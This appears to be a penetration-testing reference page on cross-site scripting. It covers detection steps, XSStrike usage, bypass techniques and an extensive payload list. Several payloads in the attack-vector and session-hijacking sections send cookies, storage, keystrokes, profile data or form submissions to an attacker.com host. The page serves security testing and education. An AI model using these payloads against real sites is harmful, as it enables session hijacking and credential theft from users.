Skip to main content

Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) is a web security vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. These scripts execute in the victim's browser within the security context of the vulnerable website.

How It Works

XSS occurs when a web application includes untrusted data in a web page without proper validation or escaping. For example, when a website reflects user input:

<div>Hello, <?php echo $_GET['name']; ?></div>

An attacker might input: <script>alert(1)</script>, resulting in:

<div>Hello, <script>alert(1)</script></div>

This script executes in the victim's browser with the same privileges as the legitimate website scripts.

Detection

Manual Testing

URL Parameter Tests

Test user input being reflected in the page through URL parameters:

# Step 1: Identify reflection points in URL parameters
site.com/page?search=TEST # Search parameters
site.com/page?name=TEST # User input fields
site.com/page?id=TEST # ID parameters

# Step 2: Test basic XSS payload in each parameter
site.com/page?search=<script>alert(1)</script>
site.com/page?name="><script>alert(1)</script>
site.com/page?id=</script><script>alert(1)</script>

# Step 3: Check if payload executes or gets reflected
# - If script executes: Direct XSS possible
# - If script is visible: HTML encoding might be in place
# - If script disappears: Filtering is active

Form Input Tests

Test all input fields in forms for XSS:

# Step 1: Identify form fields
<input type="text"> # Text inputs
<input type="search"> # Search boxes
<textarea> # Text areas

# Step 2: Test each field with detection payloads
"><img src=x onerror=alert(1)> # Tests quote escape
'><img src=x onerror=alert(1)> # Tests single quote escape
javascript:alert(1) # Tests href attributes

# Step 3: Observe the response
# - Check page source for payload reflection
# - Check if input is encoded
# - Check browser console for errors

HTTP Header Tests

Test headers that might be reflected in the response:

# Step 1: Test common reflected headers
User-Agent: <script>alert(1)</script>
Referer: <script>alert(1)</script>
Cookie: <script>alert(1)</script>

# Step 2: Test custom headers
X-Forwarded-For: <script>alert(1)</script>
X-Forwarded-Host: <script>alert(1)</script>

# Step 3: Check response headers and body
# - Look for header values in page source
# - Check for reflections in error messages

HTML Context Tests

Test payloads based on where input is reflected:

# Step 1: Inside HTML tags
Original: <div>USER_INPUT</div>
Test with: <script>alert(1)</script>
Test with: <img src=x onerror=alert(1)>

# Step 2: Inside HTML attributes
Original: <input value="USER_INPUT">
Test with: "><script>alert(1)</script>
Test with: " autofocus onfocus="alert(1)

# Step 3: Inside script tags
Original: <script>var name = 'USER_INPUT';</script>
Test with: ';alert(1);//
Test with: \';alert(1);//

JavaScript Context Tests

Test when input is reflected within JavaScript code:

# Step 1: Inside JavaScript strings
Original: var user = "USER_INPUT";
Test with: ";alert(1);//
Test with: \";alert(1);//

# Step 2: Inside JavaScript code
Original: var id = USER_INPUT;
Test with: alert(1)//
Test with: (alert(1))//

# Step 3: Inside JavaScript functions
Original: callback('USER_INPUT')
Test with: ');alert(1);//
Test with: '});alert(1);//

DOM Source Tests

Test common DOM-based XSS sources:

# Step 1: Test URL fragments
site.com/page#<img src=x onerror=alert(1)>
site.com/page#javascript:alert(1)

# Step 2: Test localStorage/sessionStorage
> localStorage.setItem('test', '<img src=x onerror=alert(1)>');
> sessionStorage.setItem('test', '<img src=x onerror=alert(1)>');

# Step 3: Test document.write sources
site.com/page?name=<div onmouseover='alert(1)'>
site.com/page?name=</script><script>alert(1)</script>

Using XSStrike

# Step 1: Basic scan
xsstrike -u "http://target.com/page?param=value"

# Step 2: Advanced scanning options
xsstrike -u "http://target.com/page?param=value" \
--crawl # Crawl the target
--params # Scan parameters
--blind # Test for blind XSS
--headers # Test headers
--vectors # Use custom vectors
--skip-dom # Skip DOM XSS scanning

# Step 3: Results analysis
1. Check reported vulnerabilities
2. Verify findings manually
3. Test suggested payloads

Context Tests

Tests XSS in different DOM contexts:

# JavaScript Variable Context
var user = "USER_INPUT"; # String variable
var obj = {"key": "USER_INPUT"}; # Object property
var arr = ["USER_INPUT"]; # Array element

# URL Parameter Context
?param=<script>alert(1)</script> # Basic URL injection
?param=javascript:alert(1) # JavaScript protocol
?param=data:text/html,<script>alert(1)</script> # Data protocol

# JSON Context
{"key":"<script>alert(1)</script>"} # JSON string
{"key":"</script><script>alert(1)</script>"} # Script tag break

Attack Vectors

Reflected XSS

XSS payload is reflected back in the server's immediate response:

# Basic Script Injection
<script>alert(document.cookie)</script>
<script>fetch('https://attacker.com?cookie='+document.cookie)</script>

# Event Handler Injection
<img src=x onerror="alert(document.cookie)">
<body onload="fetch('https://attacker.com?cookie='+document.cookie)">

# JavaScript Protocol
javascript:alert(document.cookie)
javascript:fetch('https://attacker.com?cookie='+document.cookie)

Stored XSS

Payload is stored on the target server and executed when users visit a page:

# Data Exfiltration
<script>
fetch('https://attacker.com', {
method: 'POST',
body: JSON.stringify({
cookies: document.cookie,
url: window.location.href,
localStorage: localStorage
})
});
</script>

# Keylogger Injection
<script>
document.onkeypress = function(e) {
fetch('https://attacker.com/log?key=' + e.key);
}
</script>

# Form Hijacking
<script>
document.forms[0].action = 'https://attacker.com/logger';
</script>

DOM Based XSS

Payload is executed through client-side JavaScript manipulation:

# URL Fragment Exploitation
#<img src=x onerror=alert(1)> # Targeting location.hash
?search=<img src=x onerror=alert(1)> # Targeting location.search

# DOM Manipulation
document.write('... USER_INPUT ...') # document.write injection
element.innerHTML = '... USER_INPUT ...' # innerHTML injection
$("#element").html('... USER_INPUT ...') # jQuery html() injection

Advanced XSS Payloads

# Basic Cookie Stealer
<script>
fetch('https://attacker.com/steal?cookie='+document.cookie);
</script>

# Advanced Cookie Stealer
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://attacker.com/logger', true);
xhr.send(JSON.stringify({
'url': window.location.href,
'cookies': document.cookie,
'localStorage': localStorage,
'sessionStorage': sessionStorage
}));
</script>

Session Hijacking

# Session Hijacker
<script>
fetch('/api/user/profile')
.then(r=>r.json())
.then(data=>fetch('https://attacker.com/logger?data='+btoa(JSON.stringify(data))));
</script>

# WebSocket Hijacker
<script>
var ws = new WebSocket('wss://target.com/ws');
ws.onmessage = function(e) {
fetch('https://attacker.com/ws-log?data='+btoa(e.data));
};
</script>

Bypass Techniques

Basic Tag Bypass

Used when basic XSS protections are in place:

# Case Variation
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x onerror=alert(1)>

# Tag Obfuscation
<scr<script>ipt>alert(1)</scr</script>ipt>
<img src=x onerror=alert&#x28;1&#x29>

Filter Evasion

Used when specific keywords or patterns are blocked:

# Script Tag Alternatives
<object data="data:text/html,<script>alert(1)</script>">
<embed src="data:text/html,<script>alert(1)</script>">
<iframe src="javascript:alert(1)">

# Event Handler Alternatives
onmouseover=alert(1)
OnMoUsEoVeR=alert(1)
/onclick=alert(1)//

Encoding Bypass

Different encoding methods to bypass filters:

# HTML Encoding
&lt;script&gt;alert(1)&lt;/script&gt;

# URL Encoding
%3Cscript%3Ealert(1)%3C%2Fscript%3E

# Unicode Encoding
\u003Cscript\u003Ealert(1)\u003C/script\u003E

# Hex Encoding
&#x3C;script&#x3E;alert(1)&#x3C;/script&#x3E;

Content Length Bypass

Bypassing length restrictions:

# Short Payload
<svg/onload=alert(1)>
<img src=x onerror=alert(1)>
<q/oncut=alert(1)>

Character Filter Bypass

Avoiding filtered characters:

# Quotes Bypass
<img src=x onerror=alert`1`>
<script>alert(String.fromCharCode(88,83,83))</script>

# Parentheses Bypass
onerror=alert`1`
onclick=alert.call`1`
onmouseover=alert.bind`1`

Context Escape Bypass

Breaking out of different contexts:

# JavaScript Context
'-alert(1)-'
';alert(1)//
\';alert(1)//

# Attribute Context
" onmouseover="alert(1)
" autofocus onfocus="alert(1)

Modern Browser Bypass

Targeting modern browser features and APIs:

# Import Maps Abuse
<script type="importmap">{"imports": {"x": "data:text/javascript,alert(1)"}}</script>
<script type="module">import 'x'</script>

# Shadow DOM Injection
<div id=x></div>
<script>
x.attachShadow({mode:'open'}).innerHTML='<img src=x onerror=alert(1)>'
</script>

# Trusted Types Bypass
<script>
trustedTypes.createPolicy('p',{createHTML:_=>\'<img src=x onerror=alert(1)>\'}).createHTML('')
</script>

# Service Worker Injection
<script>
navigator.serviceWorker.register('data:text/javascript,alert(1)')
</script>

Advanced DOM Manipulation

Complex DOM manipulation techniques:

# MutationObserver Abuse
<script>
new MutationObserver(function(m){
alert(1);
o.disconnect();
}).observe(document.body,{subtree:true,childList:true})
</script>

# Template Element Injection
<template><img src=x onerror=alert(1)></template>
<script>document.body.appendChild(document.querySelector('template').content.cloneNode(true))</script>

# Custom Elements Abuse
<script>
customElements.define('xss-test', class extends HTMLElement {
connectedCallback() { alert(1) }
});
</script>
<xss-test></xss-test>

Event Handler Innovation

Novel event handler techniques:

# ConstructionEvent Abuse
<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:x;}</style>
<xss id=x style="position:fixed;" onanimationcancel="alert(1)"></xss>

# Intersection Observer
<script>
new IntersectionObserver(([e]) => {
if (e.isIntersecting) alert(1)
}).observe(document.body)
</script>

# ResizeObserver Exploit
<script>
new ResizeObserver(() => alert(1)).observe(document.body)
</script>

Protocol Handler Exploitation

Abusing various protocol handlers:

# Data URL Abuse
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">Click</a>

# Javascript Protocol Variants
<a href="javascript&colon;alert(1)">Click</a>
<a href="javascript&#58;alert(1)">Click</a>
<a href="javascript&#0058;alert(1)">Click</a>

# Blob URL Exploitation
<script>
URL.createObjectURL(new Blob(['<script>alert(1)</script>'],{type:'text/html'}))
</script>

### Modern Framework Bypass Targeting popular JavaScript frameworks:

# Vue Template Injection
{{constructor.constructor('alert(1)')()}}
{{_c.constructor('alert(1)')()}}

# Angular Template Injection
{{$eval.constructor('alert(1)')()}}
{{$on.constructor('alert(1)')()}}

# React Props Injection
<div data-react-props="{'dangerouslySetInnerHTML':{'__html':'<img src=x onerror=alert(1)>'}}">

Advanced Encoding Techniques

Complex encoding combinations:

# Multi-layer Encoding
# Base64 + URL + HTML
&#x3c;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3e;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x3c;&#x2f;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3e;

# Unicode Escape Sequence
\u0027\u003e\u003c\u0073\u0076\u0067\u0020\u006f\u006e\u006c\u006f\u0061\u0064\u003d\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029\u003e

# CSS Escape
<style>@import '\\0061lert(1)';</style>

Regular Expression Bypass

Techniques to bypass regex-based filters:

# Newline Injection
<script>alert`
1`</script>

# Comment Injection
<!--><script>alert/**/('1')</script>

# Non-standard Attributes
<x onclick="&#0097;lert(1)">click</x>

### Context-Aware Bypass

# CSS Context
<style>@import 'data:text/css;base64,KiB7eD11cmwoamF2YXNjcmlwdDphbGVydCgxKSl9';</style>

# SVG Context
<svg><set attributeName="onmouseover" to="alert(1)"/>
<svg><animate attributeName="onmouseover" to="alert(1)"/>

# Math Context
<math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext><style><path id="</style><img onerror='alert(1)'"></mglyph></mtext></math>

Common Tools

ToolDescriptionPrimary Use Case
XSStrikeAdvanced XSS detectionAutomated scanning
KNOXSSOnline XSS discoveryQuick testing
XSSHunterBlind XSS detectionDelayed XSS finding
BeEFBrowser exploitationPost-XSS exploitation
DOMPurifyXSS sanitizationPrevention testing